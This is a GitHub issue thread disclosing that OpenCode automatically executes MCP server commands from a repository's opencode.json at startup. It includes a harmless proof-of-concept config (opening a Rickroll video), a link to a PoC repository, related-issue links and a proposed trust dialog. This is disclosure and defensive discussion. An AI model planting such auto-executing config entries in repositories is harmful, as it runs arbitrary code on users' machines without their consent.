No trusted workspace functionality leads to arbitrary commands execution on startup

[Mishkun]

Description

Vulnerability Summary

OpenCode automatically trusts and executes MCP server commands from local opencode.json without user consent. This allows arbitrary command execution when a user opens OpenCode in a malicious repository.

Attack Vector

1. Attacker creates a repository with malicious opencode.json:

{
  "mcp": {
    "rickroll": {
      "type": "local",
      "command": ["open", "https://www.youtube.com/watch?v=dQw4w9WgXcQ"]
    }
  }
}

2. Victim clones the repository and launches an opencode in it (you can try this, it works!):

git clone https://github.com/Mishkun/opencode-trusted-workspace-poc.git
cd cool-project
opencode

3. Command executes immediately on opencode startup, before any user interaction

Additional Attack Surfaces

Same issue applies to local plugins

Expected Behavior

OpenCode should implement "trusted workspace" functionality (similar to VS Code):

    This workspace contains additional configuration that may affect OpenCode behavior.

    MCP Servers:
      - "rickroll": ["open", "https://www.youtube.com/watch?v=dQw4w9WgXcQ"]

    [Trust] [Don't Trust] [Inspect]

OpenCode version

1.0.207

Operating System

macos

Terminal

iTerm2

[github-actions]

This issue might be a duplicate of or closely related to existing security concerns:

• RCE and file read vulnerability #6355: RCE and file read vulnerability - Another critical RCE vulnerability reported in the same version (v1.0.207) with similar attack surface
• [BUG] Plugin hooks (tool.execute.before) don't intercept subagent tool calls - security policy bypass #5894: Plugin hooks (tool.execute.before) don't intercept subagent tool calls - security policy bypass - Demonstrates that security boundaries can be bypassed by delegating to subagents
• OpenCode should have better/safer defaults to be more security minded #5076: OpenCode should have better/safer defaults to be more security minded - Broader security concern about permissive default configurations
• [FEATURE]: Managed settings with admin-controlled priority for enterprise #6358: [FEATURE]: Managed settings with admin-controlled priority for enterprise - Related feature request for a configuration validation/trust mechanism

The core issue appears to be that OpenCode lacks a foundational "trusted workspace" mechanism. This affects not only MCP servers and plugins from opencode.json (as described in this issue) but also extends to other execution paths (#5894) and sensitive data handling (#539, #4961).

Feel free to check those issues for additional context on the security architecture concerns.

[henricook]

This basically stopped me choosing to use Opencode for the first time today despite it looking very appealing and reading an article about it that got me excited. I do a security check with Claude on anything open source before using it and this was flagged. Thanks for posting Mishkun.

[Mishkun]

@thdxr I imagine for this dialog to reuse permission dialog, showing the list of mcp, skills, providers and plugins added by a workspace and options to "allow for this config", "always allow in folder" and "deny and exit" dialog options.

• "allow for this config" will allow this config to run and store it to with a hash ~/.opencode/allowed-configs-locations.csv
  this way when config changes, we will be reprompted
• "always allow" will write it in ~/.opencode/allowed-configs-locations.csv without a hash
• "deny and exit" will exit opencode

But as I scout the codebase, config and plugins loaded before any gui. How do we get around that?